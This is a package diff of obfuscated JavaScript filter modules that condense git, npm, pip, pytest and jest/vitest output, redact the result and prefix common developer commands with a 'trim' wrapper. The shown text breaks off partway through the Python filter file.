'use strict';const a0_0x51e3d2=a0_0x5d02;(function(_0x3c4214,_0x138979){const _0x567835=a0_0x5d02,_0x5c7b95=_0x3c4214();while(!![]){try{const _0x4db153=parseInt(_0x567835(0x15c))/0x1*(parseInt(_0x567835(0x16f))/0x2)+parseInt(_0x567835(0x166))/0x3*(-parseInt(_0x567835(0x170))/0x4)+-parseInt(_0x567835(0x16c))/0x5+-parseInt(_0x567835(0x17f))/0x6+-parseInt(_0x567835(0x17d))/0x7+parseInt(_0x567835(0x187))/0x8+parseInt(_0x567835(0x184))/0x9;if(_0x4db153===_0x138979)break;else _0x5c7b95['push'](_0x5c7b95['shift']());}catch(_0xe2933c){_0x5c7b95['push'](_0x5c7b95['shift']());}}}(a0_0x1ddb,0xe6ffe));function a0_0x5d02(_0x4fad61,_0x35ac88){_0x4fad61=_0x4fad61-0x15b;const _0x1ddb33=a0_0x1ddb();let _0x5d0257=_0x1ddb33[_0x4fad61];return _0x5d0257;}var __createBinding=this&&this[a0_0x51e3d2(0x178)]||(Object[a0_0x51e3d2(0x18e)]?function(_0x3579c8,_0x55c342,_0x2c4301,_0xe2f10){const _0x33d634=a0_0x51e3d2;if(_0xe2f10===undefined)_0xe2f10=_0x2c4301;var _0x1657a7=Object[_0x33d634(0x15e)](_0x55c342,_0x2c4301);(!_0x1657a7||(_0x33d634(0x181)in _0x1657a7?!_0x55c342[_0x33d634(0x17b)]:_0x1657a7[_0x33d634(0x15d)]||_0x1657a7[_0x33d634(0x177)]))&&(_0x1657a7={'enumerable':!![],'get':function(){return _0x55c342[_0x2c4301];}}),Object[_0x33d634(0x179)](_0x3579c8,_0xe2f10,_0x1657a7);}:function(_0x3a9cf8,_0x203b49,_0x138733,_0x29ff92){if(_0x29ff92===undefined)_0x29ff92=_0x138733;_0x3a9cf8[_0x29ff92]=_0x203b49[_0x138733];}),__setModuleDefault=this&&this[a0_0x51e3d2(0x18b)]||(Object[a0_0x51e3d2(0x18e)]?function(_0x5b6d8b,_0x31a6a9){const _0x17f2cd=a0_0x51e3d2;Object['defineProperty'](_0x5b6d8b,_0x17f2cd(0x16e),{'enumerable':!![],'value':_0x31a6a9});}:function(_0x147a1f,_0x1d7ead){_0x147a1f['default']=_0x1d7ead;}),__importStar=this&&this[a0_0x51e3d2(0x172)]||(function(){var _0x57fa3b=function(_0x1b2c17){const _0x51d849=a0_0x5d02;return _0x57fa3b=Object[_0x51d849(0x165)]||function(_0x35ac3c){const _0x278122=_0x51d849;var _0x3acc88=[];for(var _0x219323 in _0x35ac3c)if(Object[_0x278122(0x191)]['hasOwnProperty'][_0x278122(0x16b)](_0x35ac3c,_0x219323))_0x3acc88[_0x3acc88['length']]=_0x219323;return _0x3acc88;},_0x57fa3b(_0x1b2c17);};return function(_0x32f87a){const _0x5063d9=a0_0x5d02;if(_0x32f87a&&_0x32f87a['__esModule'])return _0x32f87a;var _0x3442a6={};if(_0x32f87a!=null){for(var _0x596939=_0x57fa3b(_0x32f87a),_0x2a0127=0x0;_0x2a0127<_0x596939[_0x5063d9(0x176)];_0x2a0127++)if(_0x596939[_0x2a0127]!==_0x5063d9(0x16e))__createBinding(_0x3442a6,_0x32f87a,_0x596939[_0x2a0127]);}return __setModuleDefault(_0x3442a6,_0x32f87a),_0x3442a6;};}());Object[a0_0x51e3d2(0x179)](exports,a0_0x51e3d2(0x17b),{'value':!![]}),exports[a0_0x51e3d2(0x164)]=filterGitStatus,exports[a0_0x51e3d2(0x18a)]=filterGitLog,exports[a0_0x51e3d2(0x173)]=filterGitDiff;const path=__importStar(require(a0_0x51e3d2(0x175)));function filterGitStatus(_0x7b7736){const _0x424929=a0_0x51e3d2,_0x3cb4fd=_0x7b7736['split']('\x0a')[_0x424929(0x15f)](_0x3ac0f7=>_0x3ac0f7['trim']())[_0x424929(0x163)](_0x58d2d5=>_0x58d2d5[_0x424929(0x176)]>0x0);if(_0x3cb4fd['length']===0x0)return'Clean\x20working\x20tree';const _0x2e33b9=[],_0x53ffd7=[],_0x583fe1=[];for(const _0x207072 of _0x3cb4fd){if(_0x207072['startsWith']('##')){const _0x472327=_0x207072[_0x424929(0x16a)](/^##\s*/,'');_0x2e33b9[_0x424929(0x17a)]('*\x20Branch:\x20'+_0x472327);}else _0x207072[_0x424929(0x169)]('??')?_0x53ffd7[_0x424929(0x17a)](_0x207072[_0x424929(0x188)](0x3)[_0x424929(0x185)]()):_0x583fe1['push'](_0x207072);}_0x583fe1[_0x424929(0x176)]>0x0&&(_0x2e33b9[_0x424929(0x17a)](_0x424929(0x16d)),_0x2e33b9['push'](..._0x583fe1[_0x424929(0x15f)](_0x4ef8dd=>'\x20\x20'+_0x4ef8dd)));if(_0x53ffd7['length']>0x0){_0x2e33b9[_0x424929(0x17a)](_0x424929(0x168));const _0x5523d2={},_0x4d95f7=[];for(const _0x49fb19 of _0x53ffd7){const _0xde84ec=path[_0x424929(0x17c)](_0x49fb19);_0xde84ec==='.'||_0xde84ec===''?_0x4d95f7['push'](_0x49fb19):(!_0x5523d2[_0xde84ec]&&(_0x5523d2[_0xde84ec]=[]),_0x5523d2[_0xde84ec][_0x424929(0x17a)](path[_0x424929(0x190)](_0x49fb19)));}for(const [_0xd6aa83,_0x28035a]of Object[_0x424929(0x160)](_0x5523d2)){if(_0x28035a['length']>0x5)_0x2e33b9[_0x424929(0x17a)](_0x424929(0x18f)+_0xd6aa83+_0x424929(0x182)+_0x28035a['length']+'\x20untracked\x20files)');else for(const _0x5596d1 of _0x28035a){_0x2e33b9[_0x424929(0x17a)](_0x424929(0x18f)+path['join'](_0xd6aa83,_0x5596d1));}}for(const _0x553ab6 of _0x4d95f7){_0x2e33b9[_0x424929(0x17a)]('\x20\x20??\x20'+_0x553ab6);}}return _0x2e33b9[_0x424929(0x161)]('\x0a');}function a0_0x1ddb(){const _0x476b7d=['defineProperty','push','__esModule','dirname','8149071Fkjbub','slice','1769202BicoKu','+++','get','/\x20(','\x20(+','14562036TXwqOW','trim','match','9265584batEwI','substring','split','filterGitLog','__setModuleDefault','[file]\x20','\x20more\x20modifications','create','\x20\x20??\x20','basename','prototype','\x20\x20...\x20+','1xHYtxO','writable','getOwnPropertyDescriptor','map','entries','join','diff\x20--git','filter','filterGitStatus','getOwnPropertyNames','100596IWCnAi','\x20lines\x20of\x20description)','\x0aUntracked\x20files:','startsWith','replace','call','3783485vtCpht','\x0aChanges:','default','1039634jHYjmf','16HecqbP','No\x20modifications','__importStar','filterGitDiff','---','path','length','configurable','__createBinding'];a0_0x1ddb=function(){return _0x476b7d;};return a0_0x1ddb();}function filterGitLog(_0x592c68){const _0x218ea6=a0_0x51e3d2,_0x5ee4a2=_0x592c68['split']('---END---')[_0x218ea6(0x15f)](_0x5eeefa=>_0x5eeefa[_0x218ea6(0x185)]())[_0x218ea6(0x163)](_0x22c96e=>_0x22c96e['length']>0x0);if(_0x5ee4a2[_0x218ea6(0x176)]===0x0)return _0x592c68;const _0x3d99ac=[];for(const _0x32ab46 of _0x5ee4a2){const _0x44e807=_0x32ab46[_0x218ea6(0x189)]('\x0a'),_0x4019fc=_0x44e807[0x0]||'',_0x3f4f4e=_0x44e807[_0x218ea6(0x17e)](0x1)['map'](_0x3b12be=>_0x3b12be[_0x218ea6(0x185)]())[_0x218ea6(0x163)](_0x5738cf=>_0x5738cf[_0x218ea6(0x176)]>0x0);_0x3d99ac['push']('-\x20'+_0x4019fc),_0x3f4f4e[_0x218ea6(0x176)]>0x0&&(_0x3d99ac[_0x218ea6(0x17a)]('\x20\x20'+_0x3f4f4e[0x0]),_0x3f4f4e[_0x218ea6(0x176)]>0x1&&_0x3d99ac[_0x218ea6(0x17a)]('\x20\x20...\x20(+'+(_0x3f4f4e['length']-0x1)+_0x218ea6(0x167)));}return _0x3d99ac[_0x218ea6(0x161)]('\x0a');}function filterGitDiff(_0x5d8f0f){const _0x30cf6d=a0_0x51e3d2,_0x56cfcc=_0x5d8f0f['split']('\x0a'),_0x4cc13e=[];let _0x21e96c='',_0x3a3e97=0x0,_0x242736=0x0,_0x35da86=[];const _0x301b24=()=>{const _0x15f530=a0_0x5d02;if(_0x21e96c&&(_0x3a3e97>0x0||_0x242736>0x0)){_0x4cc13e[_0x15f530(0x17a)](_0x15f530(0x18c)+_0x21e96c+_0x15f530(0x183)+_0x3a3e97+'\x20-'+_0x242736+')');const _0x32c44e=0xa,_0x381c4e=_0x35da86[_0x15f530(0x17e)](0x0,_0x32c44e);for(const _0x59c5d2 of _0x381c4e){_0x4cc13e[_0x15f530(0x17a)]('\x20\x20'+_0x59c5d2);}const _0x310781=_0x3a3e97+_0x242736-_0x32c44e;_0x310781>0x0&&_0x4cc13e[_0x15f530(0x17a)](_0x15f530(0x15b)+_0x310781+_0x15f530(0x18d));}_0x3a3e97=0x0,_0x242736=0x0,_0x35da86=[];};for(const _0x41f437 of _0x56cfcc){if(_0x41f437[_0x30cf6d(0x169)](_0x30cf6d(0x162))){_0x301b24();const _0x3ec745=_0x41f437[_0x30cf6d(0x186)](/\sb\/(.+)$/);_0x21e96c=_0x3ec745?_0x3ec745[0x1]:'unknown_file';}else{if(_0x41f437[_0x30cf6d(0x169)]('+')&&!_0x41f437[_0x30cf6d(0x169)](_0x30cf6d(0x180)))_0x3a3e97++,_0x35da86['push'](_0x41f437);else _0x41f437[_0x30cf6d(0x169)]('-')&&!_0x41f437[_0x30cf6d(0x169)](_0x30cf6d(0x174))&&(_0x242736++,_0x35da86['push'](_0x41f437));}}_0x301b24();const _0x37c9c3=_0x4cc13e['join']('\x0a');return _0x37c9c3[_0x30cf6d(0x176)]>0x0?_0x37c9c3:_0x30cf6d(0x171);}
|
package/filters/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';function a0_0x1603(_0x1361be,_0x4ca2ad){_0x1361be=_0x1361be-0x1d6;const _0x2355cf=a0_0x2355();let _0x1603c3=_0x2355cf[_0x1361be];return _0x1603c3;}const a0_0x474766=a0_0x1603;(function(_0xb015ab,_0x1726dd){const _0x248562=a0_0x1603,_0x584aa8=_0xb015ab();while(!![]){try{const _0x283588=-parseInt(_0x248562(0x1f8))/0x1+-parseInt(_0x248562(0x1fc))/0x2*(parseInt(_0x248562(0x1ec))/0x3)+-parseInt(_0x248562(0x20c))/0x4+parseInt(_0x248562(0x1d6))/0x5+parseInt(_0x248562(0x1fe))/0x6+parseInt(_0x248562(0x1db))/0x7*(parseInt(_0x248562(0x1df))/0x8)+parseInt(_0x248562(0x1e0))/0x9;if(_0x283588===_0x1726dd)break;else _0x584aa8['push'](_0x584aa8['shift']());}catch(_0x223495){_0x584aa8['push'](_0x584aa8['shift']());}}}(a0_0x2355,0x572c2));Object['defineProperty'](exports,a0_0x474766(0x1d9),{'value':!![]}),exports[a0_0x474766(0x1dd)]=compressOutput,exports['rewriteCommand']=rewriteCommand;function a0_0x2355(){const _0x30e40b=['filterPytest','trim\x20go','jest','trim\x20pnpm','softTruncate','trim\x20ls','./generic','yadm\x20diff','endsWith','yadm\x20log','trim\x20','trim\x20docker','2669988AKhaSh','pip3\x20install','3011870swNwuK','pip\x20install','trim','__esModule','redactor','42749UfKdGl','git\x20log','compressOutput','../redactor','56qxMQCv','4232052QldWsW','trim\x20pytest','trim\x20grep','trim\x20find','collapseDuplicates','trim\x20kubectl','trim\x20npx','length','filterJestVitest','trim\x20git','git\x20show','includes','471SstfYQ','trim\x20read','trim\x20npm','npm\x20i\x20','pytest','filterGitStatus','test','filterGitLog','trim\x20gh','trim\x20glab','toLowerCase','yadm\x20status','4776kVdrpj','./git','filterNpmInstall','./python','5882EYbigV','filterGitDiff','2254302gWcXjS','git\x20diff'];a0_0x2355=function(){return _0x30e40b;};return a0_0x2355();}const generic_1=require(a0_0x474766(0x206)),git_1=require(a0_0x474766(0x1f9)),python_1=require(a0_0x474766(0x1fb)),js_1=require('./js'),redactor_1=require(a0_0x474766(0x1de));function compressOutput(_0x11a352,_0x1a60b6,_0x5e4f20,_0x396232=!![]){const _0xe20fbf=a0_0x474766,_0x82096c=_0x11a352['trim']();let _0x252d2e=_0x1a60b6;_0x5e4f20['trim']()[_0xe20fbf(0x1e7)]>0x0&&(_0x252d2e=_0x1a60b6+'\x0a'+_0x5e4f20);let _0x33f151=(0x0,generic_1['stripAnsi'])(_0x252d2e);_0x396232&&(_0x33f151=redactor_1[_0xe20fbf(0x1da)]['redact'](_0x33f151));const _0x52b24d=_0x82096c[_0xe20fbf(0x1f6)]();try{if(_0x52b24d[_0xe20fbf(0x1eb)]('git\x20status')||_0x52b24d['includes'](_0xe20fbf(0x1f7)))return(0x0,git_1[_0xe20fbf(0x1f1)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1dc))||_0x52b24d['includes'](_0xe20fbf(0x209)))return(0x0,git_1[_0xe20fbf(0x1f3)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1ff))||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1ea))||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x207)))return(0x0,git_1[_0xe20fbf(0x1fd)])(_0x33f151);if(_0x52b24d['includes'](_0xe20fbf(0x1f0)))return(0x0,python_1[_0xe20fbf(0x200)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)]('npm\x20install')||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1ef))||_0x52b24d[_0xe20fbf(0x208)]('npm\x20i')||_0x52b24d[_0xe20fbf(0x1eb)]('pnpm\x20install')||_0x52b24d[_0xe20fbf(0x1eb)]('yarn\x20install'))return(0x0,js_1[_0xe20fbf(0x1fa)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1d7))||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x20d)))return(0x0,python_1['filterPipInstall'])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x202))||_0x52b24d[_0xe20fbf(0x1eb)]('vitest'))return(0x0,js_1[_0xe20fbf(0x1e8)])(_0x33f151);}catch(_0x18c328){}return _0x33f151=(0x0,generic_1[_0xe20fbf(0x1e4)])(_0x33f151),_0x33f151=(0x0,generic_1[_0xe20fbf(0x204)])(_0x33f151,0x4e20),_0x33f151;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x474766(0x1e9)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':a0_0x474766(0x1f4)},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x474766(0x1f5)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':'trim\x20cargo'},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x474766(0x203)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x)(\s|$)/,'prefix':a0_0x474766(0x1ee)},{'pattern':/^npx\s+/,'prefix':a0_0x474766(0x1e6)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x474766(0x1ed)},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x474766(0x1e2)},{'pattern':/^ls(\s|$)/,'prefix':a0_0x474766(0x205)},{'pattern':/^find\s+/,'prefix':a0_0x474766(0x1e3)},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x474766(0x20b)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x474766(0x1e5)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x474766(0x1e1)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':'trim\x20pip'},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x474766(0x201)}];function rewriteCommand(_0x56bc8d){const _0x5f39ce=a0_0x474766,_0x546371=_0x56bc8d[_0x5f39ce(0x1d8)]();if(_0x546371['startsWith'](_0x5f39ce(0x20a)))return _0x546371;for(const _0x35e36a of REWRITE_RULES){if(_0x35e36a['pattern'][_0x5f39ce(0x1f2)](_0x546371))return _0x5f39ce(0x20a)+_0x546371;}return _0x546371;}
|
package/filters/js.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function
|
|
1
|
+
'use strict';function a0_0x559e(){const _0x46fb98=['1228328kxfywv','match','replace','defineProperty','Test\x20Files:','up\x20to\x20date','added\x20','4162016HCYyNh','\x20failed\x20(','length','found\x20','__esModule','254607NoPuMn','all','push','includes','8HsEYAe','startsWith','\x20lines\x20of\x20trace\x20details\x20truncated)','236796riUMdx','\x20\x20...\x20(','slice','filterNpmInstall','split','7926363muzdQX','\x20passed','1029370WOuHEw','4178251zvzQXh','125VuJDFC','filterJestVitest','\x0aFailures:','FAIL','NPM:\x20Packages\x20verified/installed\x20successfully','join','Test\x20Runner:\x20','trim','\x20passed,\x20'];a0_0x559e=function(){return _0x46fb98;};return a0_0x559e();}const a0_0x358ecd=a0_0x1a2a;(function(_0x2edf66,_0x50dccd){const _0xd6d278=a0_0x1a2a,_0x163e0d=_0x2edf66();while(!![]){try{const _0x49682a=parseInt(_0xd6d278(0xd1))/0x1+-parseInt(_0xd6d278(0xdc))/0x2+-parseInt(_0xd6d278(0xc3))/0x3*(-parseInt(_0xd6d278(0xc7))/0x4)+-parseInt(_0xd6d278(0xd3))/0x5*(parseInt(_0xd6d278(0xca))/0x6)+parseInt(_0xd6d278(0xd2))/0x7+-parseInt(_0xd6d278(0xbe))/0x8+parseInt(_0xd6d278(0xcf))/0x9;if(_0x49682a===_0x50dccd)break;else _0x163e0d['push'](_0x163e0d['shift']());}catch(_0x3ed0f2){_0x163e0d['push'](_0x163e0d['shift']());}}}(a0_0x559e,0x87a7a));Object[a0_0x358ecd(0xdf)](exports,a0_0x358ecd(0xc2),{'value':!![]}),exports[a0_0x358ecd(0xcd)]=filterNpmInstall,exports[a0_0x358ecd(0xd4)]=filterJestVitest;function a0_0x1a2a(_0x4fd1e5,_0x3b7ff3){_0x4fd1e5=_0x4fd1e5-0xbd;const _0x559e03=a0_0x559e();let _0x1a2a31=_0x559e03[_0x4fd1e5];return _0x1a2a31;}function filterNpmInstall(_0x56e7e5){const _0x21c459=a0_0x358ecd,_0x4adc70=_0x56e7e5[_0x21c459(0xde)](/\r/g,'\x0a'),_0x316c31=_0x4adc70[_0x21c459(0xce)]('\x0a'),_0x4f9932=[];for(const _0x2a0f93 of _0x316c31){const _0x408ce4=_0x2a0f93[_0x21c459(0xda)]();(_0x408ce4['includes'](_0x21c459(0xbd))||_0x408ce4[_0x21c459(0xc6)]('removed\x20')||_0x408ce4[_0x21c459(0xc6)]('audited\x20')||_0x408ce4[_0x21c459(0xc6)](_0x21c459(0xe1))||_0x408ce4['includes'](_0x21c459(0xc1)))&&(!_0x408ce4[_0x21c459(0xc6)]('%')&&!_0x408ce4['startsWith']('⠋')&&!_0x408ce4[_0x21c459(0xc8)]('⠙')&&_0x4f9932['push'](_0x408ce4));}const _0x50faeb=_0x4f9932[_0x21c459(0xd8)]('\x0a')[_0x21c459(0xda)]();return _0x50faeb[_0x21c459(0xc0)]>0x0?_0x50faeb:_0x21c459(0xd7);}function filterJestVitest(_0x41a26f){const _0x18074f=a0_0x358ecd,_0x50187a=_0x41a26f[_0x18074f(0xce)]('\x0a');let _0x54e5de=0x0,_0x20f83a=0x0,_0x5269f3=0x0;const _0x5ff156=[];let _0x11febf=![];for(const _0xb8bb7c of _0x50187a){const _0x5e8f97=_0xb8bb7c[_0x18074f(0xda)]();if(_0x5e8f97[_0x18074f(0xc8)]('Tests:')||_0x5e8f97[_0x18074f(0xc6)](_0x18074f(0xe0))){const _0x397799=_0x5e8f97[_0x18074f(0xdd)](/(\d+)\s+passed/),_0x2473be=_0x5e8f97['match'](/(\d+)\s+failed/),_0x51c03b=_0x5e8f97[_0x18074f(0xdd)](/(\d+)\s+total/);if(_0x397799)_0x54e5de=parseInt(_0x397799[0x1]);if(_0x2473be)_0x20f83a=parseInt(_0x2473be[0x1]);if(_0x51c03b)_0x5269f3=parseInt(_0x51c03b[0x1]);continue;}(_0x5e8f97[_0x18074f(0xc8)]('❯')||_0x5e8f97[_0x18074f(0xc8)]('●')||_0x5e8f97[_0x18074f(0xc8)]('FAIL\x20\x20'))&&(_0x11febf=!![]),_0x11febf&&(_0x5e8f97[_0x18074f(0xc0)]>0x0&&!_0x5e8f97[_0x18074f(0xc8)]('Test\x20Suites:')&&!_0x5e8f97['startsWith']('Tests:')&&_0x5ff156['push'](_0xb8bb7c));}if(_0x5269f3===0x0&&_0x54e5de===0x0&&_0x20f83a===0x0){if(_0x41a26f[_0x18074f(0xc6)]('PASS')&&!_0x41a26f['includes'](_0x18074f(0xd6))){const _0x5e97cb=_0x41a26f[_0x18074f(0xdd)](/(\d+)\s+passed/),_0x15f7a1=_0x5e97cb?_0x5e97cb[0x1]:_0x18074f(0xc4);return _0x18074f(0xd9)+_0x15f7a1+_0x18074f(0xd0);}return _0x41a26f;}if(_0x20f83a===0x0&&_0x54e5de>0x0)return'Test\x20Runner:\x20'+_0x54e5de+_0x18074f(0xd0);const _0x16cf6d=[_0x18074f(0xd9)+_0x54e5de+_0x18074f(0xdb)+_0x20f83a+_0x18074f(0xbf)+_0x5269f3+'\x20total)'];if(_0x5ff156['length']>0x0){_0x16cf6d[_0x18074f(0xc5)](_0x18074f(0xd5));const _0x4c5c89=0x19,_0x1e28eb=_0x5ff156[_0x18074f(0xcc)](0x0,_0x4c5c89);for(const _0x576c63 of _0x1e28eb){_0x16cf6d['push']('\x20\x20'+_0x576c63);}_0x5ff156[_0x18074f(0xc0)]>_0x4c5c89&&_0x16cf6d[_0x18074f(0xc5)](_0x18074f(0xcb)+(_0x5ff156['length']-_0x4c5c89)+_0x18074f(0xc9));}return _0x16cf6d[_0x18074f(0xd8)]('\x0a');}
|
package/filters/python.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x493b62=a0_0x4a50;(function(_0x4ace56,_0xdc206b){const _0x323d61=a0_0x4a50,_0x31afc2=_0x4ace56();while(!![]){try{const _0x21a644=parseInt(_0x323d61(0x7f))/0x1+parseInt(_0x323d61(0x73))/0x2+-parseInt(_0x323d61(0x86))/0x3+-parseInt(_0x323d61(0x89))/0x4*(parseInt(_0x323d61(0x83))/0x5)+-parseInt(_0x323d61(0x95))/0x6*(-parseInt(_0x323d61(0x93))/0x7)+parseInt(_0x323d61(0x72))/0x8+parseInt(_0x323d61(0x70))/0x9;if(_0x21a644===_0xdc206b)break;else _0x31afc2['push'](_0x31afc2['shift']());}catch(_0x431488){_0x31afc2['push'](_0x31afc2['shift']());}}}(a0_0x6240,0xba6a6));Object[a0_0x493b62(0x82)](exports,a0_0x493b62(0x8a),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x493b62(0x88)]=filterPipInstall;function filterPytest(_0x388c03){const _0x540429=a0_0x493b62,_0x27fe0e=_0x388c03[_0x540429(0x7b)]('\x0a');let _0xded5a7=0x0,_0x413983=0x0,_0x26e28a=0x0,_0x1c88a4=0x0,_0x528626=0x0;const _0x129c1f=[];let _0x6488db=[],_0x206c65=![];for(const _0x4e4b3b of _0x27fe0e){const _0x350178=_0x4e4b3b[_0x540429(0x71)]();if(_0x350178['startsWith'](_0x540429(0x80))||_0x350178[_0x540429(0x7d)](_0x540429(0x75))){_0x206c65=!![];continue;}else(_0x350178[_0x540429(0x7d)](_0x540429(0x8d))||_0x350178[_0x540429(0x7d)](_0x540429(0x96))&&_0x350178[_0x540429(0x6f)](_0x540429(0x81)))&&(_0x206c65=![],_0x6488db['length']>0x0&&(_0x129c1f[_0x540429(0x7e)](_0x6488db),_0x6488db=[]));if(_0x206c65){if(_0x350178[_0x540429(0x7d)](_0x540429(0x87)))_0x6488db[_0x540429(0x77)]>0x0&&(_0x129c1f[_0x540429(0x7e)](_0x6488db),_0x6488db=[]),_0x6488db['push'](_0x350178);else _0x350178[_0x540429(0x77)]>0x0&&_0x6488db[_0x540429(0x7e)](_0x4e4b3b);continue;}if(_0x350178[_0x540429(0x7d)](_0x540429(0x96))&&_0x350178[_0x540429(0x6f)](_0x540429(0x6c))){const _0x545444=_0x350178[_0x540429(0x6b)](/(\d+)\s+passed/),_0x4c901e=_0x350178[_0x540429(0x6b)](/(\d+)\s+failed/),_0x3d33e9=_0x350178[_0x540429(0x6b)](/(\d+)\s+skipped/),_0x5f1b0d=_0x350178[_0x540429(0x6b)](/(\d+)\s+xfailed/),_0x2a460d=_0x350178['match'](/(\d+)\s+xpassed/);if(_0x545444)_0xded5a7=parseInt(_0x545444[0x1]);if(_0x4c901e)_0x413983=parseInt(_0x4c901e[0x1]);if(_0x3d33e9)_0x26e28a=parseInt(_0x3d33e9[0x1]);if(_0x5f1b0d)_0x1c88a4=parseInt(_0x5f1b0d[0x1]);if(_0x2a460d)_0x528626=parseInt(_0x2a460d[0x1]);}}_0x6488db[_0x540429(0x77)]>0x0&&_0x129c1f[_0x540429(0x7e)](_0x6488db);if(_0xded5a7===0x0&&_0x413983===0x0&&_0x26e28a===0x0&&_0x1c88a4===0x0&&_0x528626===0x0){if(_0x388c03[_0x540429(0x6f)](_0x540429(0x81))&&!_0x388c03[_0x540429(0x6f)](_0x540429(0x90)))return _0x540429(0x8b);return _0x388c03;}if(_0x413983===0x0&&_0xded5a7>0x0&&_0x26e28a===0x0&&_0x1c88a4===0x0&&_0x528626===0x0)return _0x540429(0x6d)+_0xded5a7+'\x20passed';const _0x324e4c=[];_0x324e4c[_0x540429(0x7e)](_0x540429(0x6d)+_0xded5a7+_0x540429(0x6e));if(_0x413983>0x0)_0x324e4c[_0x540429(0x7e)](_0x413983+_0x540429(0x7c));if(_0x26e28a>0x0)_0x324e4c['push'](_0x26e28a+_0x540429(0x7a));if(_0x1c88a4>0x0)_0x324e4c[_0x540429(0x7e)](_0x1c88a4+_0x540429(0x94));if(_0x528626>0x0)_0x324e4c[_0x540429(0x7e)](_0x528626+_0x540429(0x84));const _0x2b4a6d=[_0x324e4c[_0x540429(0x6a)](',\x20')];if(_0x129c1f[_0x540429(0x77)]>0x0){_0x2b4a6d[_0x540429(0x7e)](_0x540429(0x85));const _0x3788fb=0x3,_0x92b52b=_0x129c1f[_0x540429(0x92)](0x0,_0x3788fb);for(let _0x5d99a7=0x0;_0x5d99a7<_0x92b52b[_0x540429(0x77)];_0x5d99a7++){const _0x46b5ed=_0x92b52b[_0x5d99a7],_0x5e714a=_0x46b5ed[0x0][_0x540429(0x91)](/_/g,'')[_0x540429(0x71)]();_0x2b4a6d[_0x540429(0x7e)]('\x20\x20'+(_0x5d99a7+0x1)+_0x540429(0x68)+_0x5e714a);const _0x356efb=_0x46b5ed['slice'](0x1),_0x5358d4=_0x356efb['filter'](_0xf0e7c4=>{const _0x67c93d=_0x540429,_0x5d2757=_0xf0e7c4['trim']();return _0x5d2757[_0x67c93d(0x7d)]('>')||_0x5d2757[_0x67c93d(0x7d)](_0x67c93d(0x67))||_0x5d2757[_0x67c93d(0x6f)](_0x67c93d(0x8f))||_0x5d2757[_0x67c93d(0x6f)](_0x67c93d(0x8c));});for(const _0x11ded0 of _0x5358d4['slice'](0x0,0x8)){_0x2b4a6d[_0x540429(0x7e)](_0x540429(0x69)+_0x11ded0);}_0x5358d4['length']>0x8&&_0x2b4a6d['push'](_0x540429(0x98)+(_0x5358d4['length']-0x8)+_0x540429(0x66));}_0x129c1f[_0x540429(0x77)]>_0x3788fb&&_0x2b4a6d[_0x540429(0x7e)](_0x540429(0x97)+(_0x129c1f['length']-_0x3788fb)+_0x540429(0x79));}return _0x2b4a6d[_0x540429(0x6a)]('\x0a');}function filterPipInstall(_0x5bd50f){const _0x130ca8=a0_0x493b62,_0x3fc82a=_0x5bd50f[_0x130ca8(0x7b)]('\x0a'),_0x3e3815=[];for(const _0x37d625 of _0x3fc82a){const _0x3894f3=_0x37d625[_0x130ca8(0x71)]();_0x3894f3['startsWith'](_0x130ca8(0x78))&&_0x3e3815[_0x130ca8(0x7e)](_0x3894f3);}if(_0x3e3815['length']>0x0)return _0x3e3815[_0x130ca8(0x6a)]('\x0a');return _0x3fc82a[_0x130ca8(0x8e)](_0x5c5059=>{const _0x9f01e1=_0x130ca8,_0x3a500d=_0x5c5059[_0x9f01e1(0x71)]();return!_0x3a500d[_0x9f01e1(0x7d)]('Collecting')&&!_0x3a500d[_0x9f01e1(0x7d)](_0x9f01e1(0x74))&&!_0x3a500d['includes']('Using\x20cached')&&!_0x3a500d['startsWith'](_0x9f01e1(0x76));})[_0x130ca8(0x6a)]('\x0a')[_0x130ca8(0x71)]();}function a0_0x4a50(_0x57f3d9,_0x80870a){_0x57f3d9=_0x57f3d9-0x66;const _0x62401e=a0_0x6240();let _0x4a5019=_0x62401e[_0x57f3d9];return _0x4a5019;}function a0_0x6240(){const 